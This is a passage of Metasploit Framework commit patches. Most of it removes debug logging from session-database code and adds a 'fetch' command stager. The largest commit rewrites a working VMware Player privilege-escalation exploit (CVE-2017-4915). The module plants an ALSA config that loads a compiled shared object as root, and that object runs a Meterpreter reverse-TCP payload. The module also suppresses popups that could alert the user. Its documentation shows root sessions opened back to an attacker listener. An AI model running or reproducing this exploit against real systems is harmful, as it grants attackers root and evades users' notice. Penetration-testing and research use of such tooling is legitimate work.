insertions(+), 7 deletions(-) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 34111dc3bef8..83a175d721e9 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -516,8 +516,8 @@ def load_session_info }) if self.db_record - self.db_record.desc = safe_info - self.db_record.save! + $stderr.puts("Msf::Sessions::Meterpreter.load_session_info(): self.sid=#{self.sid}, self.db_record.id=#{self.db_record.id}; calling framework.db.update_session(self)...") # TODO: remove + framework.db.update_session(self) end # XXX: This is obsolete given the Mdm::Host.normalize_os() support for host.os.session_fingerprint diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index b02b9fd0545b..496382dbca09 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -283,12 +283,14 @@ def via_payload # Also must tolerate being called multiple times. # def cleanup + $stderr.puts("#{DateTime.now} Msf::Session.cleanup(): db_record=#{db_record}, db_record.class=#{db_record.class}, framework.db.active=#{framework.db.active}") # TODO: remove + $stderr.puts("#{DateTime.now} Msf::Session.cleanup(): db_record.id=#{db_record.id}, Time.now.utc=#{Time.now.utc}, before update: #{db_record.attributes}") unless db_record.nil? # TODO: remove if db_record and framework.db.active ::ActiveRecord::Base.connection_pool.with_connection { - db_record.closed_at = Time.now.utc - # ignore exceptions - db_record.save + tmp_db_record = framework.db.update_session(id: db_record.id, closed_at: Time.now.utc, close_reason: db_record.close_reason) + $stderr.puts("#{DateTime.now} Msf::Session.cleanup(): tmp_db_record.id=#{tmp_db_record.id}, self.sid=#{self.sid}, after save: #{tmp_db_record.attributes}") unless tmp_db_record.nil? # TODO: remove db_record = nil + $stderr.puts("#{DateTime.now} Msf::Session.cleanup(): returning after db_record.save call... db_record.class=#{db_record.class}") # TODO: remove } end end diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index f59487607504..3903b35c1206 100644 --- a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -119,8 +119,9 @@ def initialize(framework) # as recently seen. This notifies other framework instances that this # session is being maintained. if s.db_record - s.db_record.last_seen = Time.now.utc - s.db_record.save + $stderr.puts("#{DateTime.now} SessionManager.initialize() [monitor_thread]: before update: Time.now.utc=#{Time.now.utc}, s.sid=#{s.sid}, s.db_record.id=#{s.db_record.id}, #{s.db_record.attributes}") # TODO: remove + s.db_record = framework.db.update_session(id: s.db_record.id, last_seen: Time.now.utc) + $stderr.puts("#{DateTime.now} SessionManager.initialize() [monitor_thread]: after update: s.sid=#{s.sid}, s.db_record.id=#{s.db_record.id}, #{s.db_record.attributes}") # TODO: remove end end end From a683cedcce4bb6f96c77e9f87734e17c3a481155 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 14 Dec 2018 12:28:16 -0500 Subject: [PATCH 053/220] Enhance race condition workaround in report_host --- lib/msf/core/db_manager/host.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index 10b62d3ac92a..a4c2fbebb002 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -258,9 +258,9 @@ def report_host(opts) msf_import_timestamps(opts, host) host.save! end - rescue ActiveRecord::RecordNotUnique - # two concurrent report requests for a new host could result in a RecordNotUnique exception - # simply retry the report once more as an optimistic approach + rescue ActiveRecord::RecordNotUnique, ActiveRecord::RecordInvalid + # two concurrent report requests for a new host could result in a RecordNotUnique or + # RecordInvalid exception, simply retry the report once more as an optimistic approach retry if (retry_attempts+=1) <= 1 raise end From ad6b80bd0840d29424c97b9eea040c403798a507 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 14 Dec 2018 13:01:20 -0500 Subject: [PATCH 054/220] Remove unused session_dto flag --- .../data_service/remote/http/remote_session_data_service.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb index 63ccf2c90f7c..c005dc3fd882 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb @@ -16,7 +16,6 @@ def report_session(opts) session = opts[:session] if (session.kind_of? Msf::Session) opts = SessionDataProxy.convert_msf_session_to_hash(session) - opts[:session_dto] = true elsif (opts[:host]) $stderr.puts("*** RemoteSessionDataService.report_session(): executing path where session is not a kind_of Msf::Session...") # TODO: remove opts[:host] = opts[:host].address From eec7a3dafc68730bddd5d319227ccdae8ff42ddd Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 14 Dec 2018 13:33:16 -0500 Subject: [PATCH 055/220] Remove debug code --- .../data_service/proxy/session_data_proxy.rb | 21 ------------------- .../http/remote_session_data_service.rb | 15 +------------ lib/msf/base/sessions/meterpreter.rb | 1 - lib/msf/core/db_manager/session.rb | 11 +--------- lib/msf/core/session.rb | 6 +----- lib/msf/core/session_manager.rb | 2 -- .../web_services/servlet/session_servlet.rb | 6 ------ 7 files changed, 3 insertions(+), 59 deletions(-) diff --git a/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb index 1ac4f41b2436..27fe49a05d72 100644 --- a/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb @@ -33,45 +33,24 @@ def update_session(opts) begin self.data_service_operation do |data_service| is_msf_session = false - $stderr.puts("*** SessionDataProxy.update_session(): opts=#{opts}") # TODO: remove - # session = opts[:session] - # $stderr.puts("*** SessionDataProxy.update_session(): session.class=#{session.class}") # TODO: remove - # if !session.nil? && session.kind_of?(Msf::Session) if !opts.nil? && opts.kind_of?(Msf::Session) msf_session = opts is_msf_session = true - $stderr.puts("*** SessionDataProxy.update_session(): is_msf_session=#{is_msf_session}, opts=#{opts}, opts.class=#{opts.class}") # TODO: remove - # save session ID - # id = opts.delete(:id) - # tmp_opts = convert_msf_session_to_hash(session) tmp_opts = SessionDataProxy.convert_msf_session_to_hash(msf_session) # only updating session data - # opts = tmp_opts[:session_data] opts = tmp_opts[:session_data] # add back session ID - # opts[:id] = id opts[:id] = msf_session.db_record.id - $stderr.puts("*** SessionDataProxy.update_session(): after convert_msf_session_to_hash, opts=#{opts}") # TODO: remove end mdm_session = data_service.update_session(opts) - $stderr.puts("*** SessionDataProxy.update_session(): after update: is_msf_session=#{is_msf_session}, mdm_session=#{mdm_session}, #{mdm_session.attributes}") # TODO: remove # reassign returned Mdm::Session to the Msf::Session's db_record msf_session.db_record = mdm_session if is_msf_session - $stderr.puts("*** SessionDataProxy.update_session(): msf_session.db_record=#{msf_session.db_record}") if is_msf_session # TODO: remove - - # TODO: remove block - if is_msf_session && !msf_session.db_record.nil? - $stderr.puts("SessionDataProxy.update_session(): msf_session.db_record=#{msf_session.db_record}, msf_session.db_record.id=#{msf_session.db_record.id}") # TODO: remove - else - $stderr.puts("SessionDataProxy.update_session(): msf_session.db_record is nil") # TODO: remove - end mdm_session end rescue => e - $stderr.puts("SessionDataProxy.update_session(): e.backtrace=#{e.backtrace}") # TODO: remove self.log_error(e, "Problem updating session") end end diff --git a/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb index c005dc3fd882..f2148e62da63 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb @@ -12,23 +12,15 @@ def sessions(opts) end def report_session(opts) - $stderr.puts("RemoteSessionDataService.report_session(): opts=#{opts}") # TODO: remove session = opts[:session] if (session.kind_of? Msf::Session) opts = SessionDataProxy.convert_msf_session_to_hash(session) elsif (opts[:host]) - $stderr.puts("*** RemoteSessionDataService.report_session(): executing path where session is not a kind_of Msf::Session...") # TODO: remove opts[:host] = opts[:host].address end opts[:time_stamp] = Time.now.utc - $stderr.puts("RemoteSessionDataService.report_session(): opts=#{opts}") # TODO: remove sess_db = json_to_mdm_object(self.post_data(SESSION_API_PATH, opts), SESSION_MDM_CLASS, []).first - if !sess_db.nil? - $stderr.puts("RemoteSessionDataService.report_session(): sess_db=#{sess_db}, sess_db.id=#{sess_db.id}") # TODO: remove - else - $stderr.puts("RemoteSessionDataService.report_session(): sess_db is nil") # TODO: remove - end session.db_record = sess_db end @@ -39,12 +31,7 @@ def update_session(opts) path = "#{SESSION_API_PATH}/#{id}" end - $stderr.puts("RemoteSessionDataService.update_session(): path=#{path}, opts=#{opts}") # TODO: remove - - sess_db = json_to_mdm_object(self.put_data(path, opts), SESSION_MDM_CLASS, []).first - $stderr.puts("RemoteSessionDataService.update_session(): returning... sess_db=#{sess_db}") # TODO: remove - - sess_db + json_to_mdm_object(self.put_data(path, opts), SESSION_MDM_CLASS, []).first end end diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 83a175d721e9..a6ba9a8219a9 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -516,7 +516,6 @@ def load_session_info }) if self.db_record - $stderr.puts("Msf::Sessions::Meterpreter.load_session_info(): self.sid=#{self.sid}, self.db_record.id=#{self.db_record.id}; calling framework.db.update_session(self)...") # TODO: remove framework.db.update_session(self) end diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index f6d2da809091..379ee6a22dca 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -187,17 +187,8 @@ def update_session(opts) return if not active ::ActiveRecord::Base.connection_pool.with_connection { - $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): opts=#{opts}") # TODO: remove - id = opts.delete(:id) - $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): id=#{id}, opts=#{opts}") # TODO: remove - $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): id=#{id}, before update: #{Mdm::Session.find(id).attributes}") # TODO: remove - session_db_record = ::Mdm::Session.update(id, opts) - $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): session_db_record=#{session_db_record}") # TODO: remove - $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): session_db_record.id=#{session_db_record.id}") unless session_db_record.nil? # TODO: remove - $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): id=#{id}, after update: #{Mdm::Session.find(id).attributes}") # TODO: remove - - session_db_record + ::Mdm::Session.update(id, opts) } end diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 496382dbca09..f854bf2c428e 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -283,14 +283,10 @@ def via_payload # Also must tolerate being called multiple times. # def cleanup - $stderr.puts("#{DateTime.now} Msf::Session.cleanup(): db_record=#{db_record}, db_record.class=#{db_record.class}, framework.db.active=#{framework.db.active}") # TODO: remove - $stderr.puts("#{DateTime.now} Msf::Session.cleanup(): db_record.id=#{db_record.id}, Time.now.utc=#{Time.now.utc}, before update: #{db_record.attributes}") unless db_record.nil? # TODO: remove if db_record and framework.db.active ::ActiveRecord::Base.connection_pool.with_connection { - tmp_db_record = framework.db.update_session(id: db_record.id, closed_at: Time.now.utc, close_reason: db_record.close_reason) - $stderr.puts("#{DateTime.now} Msf::Session.cleanup(): tmp_db_record.id=#{tmp_db_record.id}, self.sid=#{self.sid}, after save: #{tmp_db_record.attributes}") unless tmp_db_record.nil? # TODO: remove + framework.db.update_session(id: db_record.id, closed_at: Time.now.utc, close_reason: db_record.close_reason) db_record = nil - $stderr.puts("#{DateTime.now} Msf::Session.cleanup(): returning after db_record.save call... db_record.class=#{db_record.class}") # TODO: remove } end end diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index 3903b35c1206..2db050ec6f00 100644 --- a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -119,9 +119,7 @@ def initialize(framework) # as recently seen. This notifies other framework instances that this # session is being maintained. if s.db_record - $stderr.puts("#{DateTime.now} SessionManager.initialize() [monitor_thread]: before update: Time.now.utc=#{Time.now.utc}, s.sid=#{s.sid}, s.db_record.id=#{s.db_record.id}, #{s.db_record.attributes}") # TODO: remove s.db_record = framework.db.update_session(id: s.db_record.id, last_seen: Time.now.utc) - $stderr.puts("#{DateTime.now} SessionManager.initialize() [monitor_thread]: after update: s.sid=#{s.sid}, s.db_record.id=#{s.db_record.id}, #{s.db_record.attributes}") # TODO: remove end end end diff --git a/lib/msf/core/web_services/servlet/session_servlet.rb b/lib/msf/core/web_services/servlet/session_servlet.rb index bbe88bbce0bb..3633cb601864 100644 --- a/lib/msf/core/web_services/servlet/session_servlet.rb +++ b/lib/msf/core/web_services/servlet/session_servlet.rb @@ -56,15 +56,9 @@ def self.update_session warden.authenticate! begin opts = parse_json_request(request, false) - $stderr.puts("#{DateTime.now} SessionServlet.update_session(): opts=#{opts}") # TODO: remove tmp_params = sanitize_params(params) opts[:id] = tmp_params[:id] if tmp_params[:id] - $stderr.puts("#{DateTime.now} SessionServlet.update_session(): (after mod) opts=#{opts}") # TODO: remove data = get_db.update_session(opts) - - $stderr.puts("#{DateTime.now} SessionServlet.update_session(): data=#{data}") # TODO: remove - $stderr.puts("#{DateTime.now} SessionServlet.update_session(): data.class=#{data.class}") unless data.nil? # TODO: remove - set_json_data_response(response: data) rescue => e print_error_and_create_response(error: e, message: 'There was an error updating the session:', code: 500) From 8d93812c0a92e1e657b8b72d1c6c6ca39784def3 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 15 Dec 2018 03:30:00 +0000 Subject: [PATCH 056/220] Add Rex::Exploitation::CmdStagerFetch --- lib/msf/core/exploit/cmdstager.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 8f58a2fac2f9..4a2e870be5d8 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -23,7 +23,8 @@ module Exploit::CmdStager :certutil => Rex::Exploitation::CmdStagerCertutil, :tftp => Rex::Exploitation::CmdStagerTFTP, :wget => Rex::Exploitation::CmdStagerWget, - :curl => Rex::Exploitation::CmdStagerCurl + :curl => Rex::Exploitation::CmdStagerCurl, + :fetch => Rex::Exploitation::CmdStagerFetch } # Constant for decoders - used when checking the default flavor decoder. From d973a58052ddac4e96091524b68c98221e457170 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 17 Dec 2018 08:01:34 +0000 Subject: [PATCH 057/220] Clean up linux/local/vmware_alsa_config --- .../exploit/linux/local/vmware_alsa_config.md | 80 ++++-- .../linux/local/vmware_alsa_config.rb | 260 ++++++++++-------- 2 files changed, 212 insertions(+), 128 deletions(-) diff --git a/documentation/modules/exploit/linux/local/vmware_alsa_config.md b/documentation/modules/exploit/linux/local/vmware_alsa_config.md index ed3978f6a872..2f9bad21e394 100644 --- a/documentation/modules/exploit/linux/local/vmware_alsa_config.md +++ b/documentation/modules/exploit/linux/local/vmware_alsa_config.md @@ -1,15 +1,22 @@ ## Description - This module exploits a vulnerability in VMware Workstation Pro and Player before version 12.5.6 on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card. + This module exploits a vulnerability in VMware Workstation Pro and + Player on Linux which allows users to escalate their privileges by + using an ALSA configuration file to load and execute a shared object + as `root` when launching a virtual machine with an attached sound card. ## Vulnerable Application - VMware Workstation Pro and VMware Workstation Player are the industry standard for running multiple operating systems as virtual machines on a single PC. Thousands of IT professionals, developers and businesses use Workstation Pro and Workstation Player to be more agile, more productive and more secure every day. + VMware Workstation Pro and VMware Workstation Player are the industry + standard for running multiple operating systems as virtual machines on + a single PC. Thousands of IT professionals, developers and businesses + use Workstation Pro and Workstation Player to be more agile, more + productive and more secure every day. This module has been tested successfully on: - * VMware Player version 12.5.0 on Debian Linux + * VMware Player version 12.5.0 on Debian Linux 8 Jessie ## Verification Steps @@ -20,7 +27,7 @@ 4. Do: `set SESSION [SESSION]` 5. Do: `check` 6. Do: `run` - 7. You should get a new root session + 7. You should get a new `root` session ## Options @@ -33,31 +40,72 @@ A writable directory file system path. (default: `/tmp`) + **Xdisplay** + + Display exploit will attempt to use (default: `:0`) + ## Scenarios +### Command Shell Session - VMware Player 12.5.0 (Debian 8 Jessie) + ``` - msf exploit(vmware_alsa_config) > check + msf5 > use exploit/linux/local/vmware_alsa_config + msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188 + lhost => 172.16.191.188 + msf5 exploit(linux/local/vmware_alsa_config) > set session 1 + session => 1 + msf5 exploit(linux/local/vmware_alsa_config) > run + + [*] Started reverse TCP handler on 172.16.191.188:4444 + [*] Writing '/tmp/pSvQHD5S5fh/afLaYVIoUm.so.c' (526 bytes) ... + [*] Writing '/tmp/pSvQHD5S5fh/pSvQHD5S5fh.vmx' (560 bytes) ... + [*] Writing '/tmp/pSvQHD5S5fh/jl7XmpZWdE' (964720 bytes) ... + [*] Writing '/home/user/.asoundrc' (116 bytes) ... + [*] Launching VMware Player... + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57796) at 2018-12-17 02:43:22 -0500 + [+] Deleted /home/user/.asoundrc + [+] Deleted /home/user/Desktop/~/.vmware/preferences + [!] Attempting to delete working directory /tmp/pSvQHD5S5fh + [-] Exploit failed: negative array size (or size too big) - [!] SESSION may not be compatible with this module. - [+] Target version is vulnerable - [+] The target is vulnerable. - msf exploit(vmware_alsa_config) > run + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.208 + OS : Debian 8.8 (Linux 3.16.0-4-amd64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + +### Meterpreter Session - VMware Player 12.5.0 (Debian 8 Jessie) - [!] SESSION may not be compatible with this module. - [*] Started reverse TCP handler on 172.16.191.181:4444 - [+] Target version is vulnerable + ``` + msf5 > use exploit/linux/local/vmware_alsa_config + msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188 + lhost => 172.16.191.188 + msf5 exploit(linux/local/vmware_alsa_config) > set session 1 + session => 1 + msf5 exploit(linux/local/vmware_alsa_config) > run + + [*] Started reverse TCP handler on 172.16.191.188:4444 + [*] Writing '/tmp/5irkXF31Iw/GHAPsWBkjix.so.c' (527 bytes) ... + [*] Writing '/tmp/5irkXF31Iw/5irkXF31Iw.vmx' (558 bytes) ... + [*] Writing '/tmp/5irkXF31Iw/Rxqj9taEcXol' (964720 bytes) ... + [*] Writing '/home/user/.asoundrc' (116 bytes) ... [*] Launching VMware Player... - [*] Meterpreter session 2 opened (172.16.191.181:4444 -> 172.16.191.221:33807) at 2017-06-23 08:22:11 -0400 - [*] Removing /tmp/.baVu7FwzlaIQyp - [*] Removing /home/user/.asoundrc + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57799) at 2018-12-17 02:46:39 -0500 meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > sysinfo - Computer : 172.16.191.221 + Computer : 172.16.191.208 OS : Debian 8.8 (Linux 3.16.0-4-amd64) Architecture : x64 + BuildTuple : x86_64-linux-musl Meterpreter : x64/linux + meterpreter > ``` diff --git a/modules/exploits/linux/local/vmware_alsa_config.rb b/modules/exploits/linux/local/vmware_alsa_config.rb index fc110c61adf6..0aad6cf3d18c 100644 --- a/modules/exploits/linux/local/vmware_alsa_config.rb +++ b/modules/exploits/linux/local/vmware_alsa_config.rb @@ -6,8 +6,11 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking - include Msf::Exploit::EXE + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel include Msf::Post::File + include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) @@ -20,13 +23,14 @@ def initialize(info = {}) as root when launching a virtual machine with an attached sound card. This module has been tested successfully on VMware Player version - 12.5.0 on Debian Linux. + 12.5.0 on Debian Linux 8 Jessie. }, 'References' => [ [ 'CVE', '2017-4915' ], [ 'EDB', '42045' ], [ 'BID', '98566' ], + [ 'URL', 'https://www.securitytracker.com/id/1038525' ], [ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ], [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ] @@ -34,8 +38,8 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ - 'Jann Horn', # Discovery and PoC - 'Brendan Coles ' # Metasploit + 'Jann Horn', # Discovery and PoC + 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'May 22 2017', 'Platform' => 'linux', @@ -46,86 +50,137 @@ def initialize(info = {}) ], 'DefaultOptions' => { - 'Payload' => 'linux/x64/meterpreter_reverse_tcp', + 'AppendExit' => true, + 'PrependFork' => true, 'WfsDelay' => 30, - 'PrependFork' => true + 'Payload' => 'linux/x64/meterpreter_reverse_tcp' }, 'DefaultTarget' => 1, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => true )) register_advanced_options [ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']), + OptString.new('Xdisplay', [true, 'Display exploit will attempt to use', ':0']) ] end - def has_prereqs? - vmplayer = cmd_exec 'which vmplayer' - if vmplayer.include? 'vmplayer' - vprint_good 'vmplayer is installed' - else - print_error 'vmplayer is not installed. Exploitation will fail.' - return false + def base_dir + datastore['WritableDir'].to_s + end + + def mkdir(path) + vprint_status "Creating '#{path}' directory" + cmd_exec "mkdir -p #{path}" + register_dir_for_cleanup path + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + chmod path + end + + def strip_comments(c_code) + c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') + end + + def upload_and_compile(path, data, gcc_args='') + upload "#{path}.c", data + + gcc_cmd = "gcc -o #{path} #{path}.c" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end - gcc = cmd_exec 'which gcc' - if gcc.include? 'gcc' - vprint_good 'gcc is installed' - else - print_error 'gcc is not installed. Compiling will fail.' - return false + unless gcc_args.to_s.blank? + gcc_cmd << " #{gcc_args}" end - true + output = cmd_exec gcc_cmd + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile" + end + + register_file_for_cleanup path + chmod path end def check - unless has_prereqs? - print_error 'Target missing prerequisites' + unless command_exists? '/usr/bin/vmplayer' + print_error 'vmplayer is not installed. Exploitation will fail.' return CheckCode::Safe end + vprint_good 'vmplayer is installed' - begin - config = read_file '/etc/vmware/config' - rescue - config = '' + unless has_gcc? + print_error 'gcc is not installed. Compiling will fail.' + return CheckCode::Safe end + vprint_good 'gcc is installed' + config = read_file('/etc/vmware/config') rescue '' if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/ - @version = Gem::Version.new $1.gsub(/\.$/, '') - vprint_status "VMware is version #{@version}" + version = Gem::Version.new $1.gsub(/\.$/, '') + vprint_status "VMware is version #{version}" else - print_error "Could not determine VMware version." - return CheckCode::Unknown + vprint_error 'Could not determine VMware version.' + return CheckCode::Detected end - if @version < Gem::Version.new('12.5.6') - print_good 'Target version is vulnerable' - return CheckCode::Vulnerable + if version >= Gem::Version.new('12.5.6') + vprint_error 'Target version is not vulnerable' + return CheckCode::Safe end - print_error 'Target version is not vulnerable' - CheckCode::Safe + CheckCode::Appears end def exploit - if check == CheckCode::Safe - print_error 'Target machine is not vulnerable' - return + unless [CheckCode::Detected, CheckCode::Appears].include? check + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' end - @home_dir = cmd_exec 'echo ${HOME}' - unless @home_dir - print_error "Could not find user's home directory" - return + if is_root? + unless datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end end - @prefs_file = "#{@home_dir}/.vmware/preferences" - fname = ".#{rand_text_alphanumeric rand(10) + 5}" - @base_dir = "#{datastore['WritableDir']}/#{fname}" - cmd_exec "mkdir #{@base_dir}" + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end - so = %Q^ + home_dir = cmd_exec 'PATH=$PATH:/usr/bin getent passwd `id -un` | cut -d: -f6' + if home_dir.blank? + fail_with Failure::Unknown, "Could not find user's home directory" + end + + unless writable? home_dir + fail_with Failure::BadConfig, "#{home_dir} is not writable" + end + + # Create a directory for the virtual machine and associated files + vmx_name = rand_text_alphanumeric(10..15) + vm_dir = "#{base_dir}/#{vmx_name}" + mkdir vm_dir + + # Create shared object + payload_name = rand_text_alphanumeric(10..15) + so_name = rand_text_alphanumeric(10..15) + so = <<-EOF /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142 Original shared object code by jhorn @@ -149,22 +204,16 @@ def exploit if (ruid == 0 || euid == 0 || suid == 0) { if (setresuid(0, 0, 0) || setresgid(0, 0, 0)) err(1, "setresxid"); - system("#{@base_dir}/#{fname}.elf"); + system("#{vm_dir}/#{payload_name}"); _exit(0); } } -^ - vprint_status "Writing #{@base_dir}/#{fname}.c" - write_file "#{@base_dir}/#{fname}.c", so - - vprint_status "Compiling #{@base_dir}/#{fname}.o" - output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99" - unless output == '' - print_error "Compilation failed: #{output}" - return - end +EOF - vmx = %Q| + upload_and_compile "#{vm_dir}/#{so_name}.so", strip_comments(so), '-fPIC -shared -Wall -ldl -std=gnu99' + + # Create virtual machine + vmx = <<-EOF .encoding = "UTF-8" config.version = "8" virtualHW.version = "8" @@ -176,9 +225,9 @@ def exploit sound.autodetect = "TRUE" vmci0.present = "FALSE" hpet0.present = "FALSE" -displayName = "#{fname}" +displayName = "#{vmx_name}" guestOS = "other" -nvram = "#{fname}.nvram" +nvram = "#{vmx_name}.nvram" virtualHW.productCompatibility = "hosted" gui.exitOnCLIHLT = "FALSE" powerType.powerOff = "soft" @@ -187,75 +236,62 @@ def exploit powerType.reset = "soft" floppy0.present = "FALSE" monitor_control.disable_longmode = 1 -| - vprint_status "Writing #{@base_dir}/#{fname}.vmx" - write_file "#{@base_dir}/#{fname}.vmx", vmx - - vprint_status "Writing #{@base_dir}/#{fname}.elf" - write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe +EOF - vprint_status "Setting #{@base_dir}/#{fname}.elf executable" - cmd_exec "chmod +x #{@base_dir}/#{fname}.elf" + upload "#{vm_dir}/#{vmx_name}.vmx", vmx + upload_and_chmodx "#{vm_dir}/#{payload_name}", generate_payload_exe - asoundrc = %Q| + # Create ALSA sound config + asoundrc = <<-EOF hook_func.pulse_load_if_running { - lib "#{@base_dir}/#{fname}.so" + lib "#{vm_dir}/#{so_name}.so" func "conf_pulse_hook_load_if_running" } -| - vprint_status "Writing #{@home_dir}/.asoundrc" - write_file "#{@home_dir}/.asoundrc", asoundrc - - vprint_status 'Disabling VMware hint popups' - unless directory? "#{@home_dir}/.vmware" - cmd_exec "mkdir #{@home_dir}/.vmware" - @remove_prefs_dir = true +EOF + + upload "#{home_dir}/.asoundrc", asoundrc + + # Hint popups must be disabled. + # Popups may cause the VMplayer process to hang open, awaiting input. They may also alert the user. + # Also, firstRunDismissedVersion must be set to prevent registration popups on a fresh install. + # + # VMware uses '~' to determine the user's home directory when reading the preferences file: + # stat("~/.vmware/preferences", 0x7fffd18da340) = -1 ENOENT (No such file or directory) + # open("~/.vmware/preferences", O_RDONLY) = -1 ENOENT (No such file or directory) + # + # If we're executing in a shell without '~' expansion, + # then we'll need to create this directory in the current working directory. + vprint_status 'Disabling VMware popups...' + + unless cmd_exec("test -d ~ && echo true").include? 'true' + mkdir '~' + end + unless cmd_exec("test -d ~/.vmware && echo true").include? 'true' + mkdir '~/.vmware' end - if file? @prefs_file - begin - prefs = read_file @prefs_file - rescue - prefs = '' - end + # Expand '~' to the appropriate full directory path and parse preferences + prefs_file = cmd_exec "PATH=$PATH:/usr/bin realpath ~/.vmware/preferences" + unless file? prefs_file + cmd_exec "touch #{prefs_file}" + register_file_for_cleanup prefs_file end + prefs = cmd_exec("cat #{prefs_file}").to_s if prefs.blank? prefs = ".encoding = \"UTF8\"\n" prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n" prefs << "hints.hideAll = \"TRUE\"\n" - @remove_prefs_file = true elsif prefs =~ /hints\.hideAll/i prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"') else prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n") end - vprint_status "Writing #{@prefs_file}" - write_file "#{@prefs_file}", prefs + vprint_status "Writing config file: #{prefs_file}" + write_file prefs_file, prefs + # Launch VMware in the background to prevent the existing session from dying print_status 'Launching VMware Player...' - cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx" - end - - def cleanup - print_status "Removing 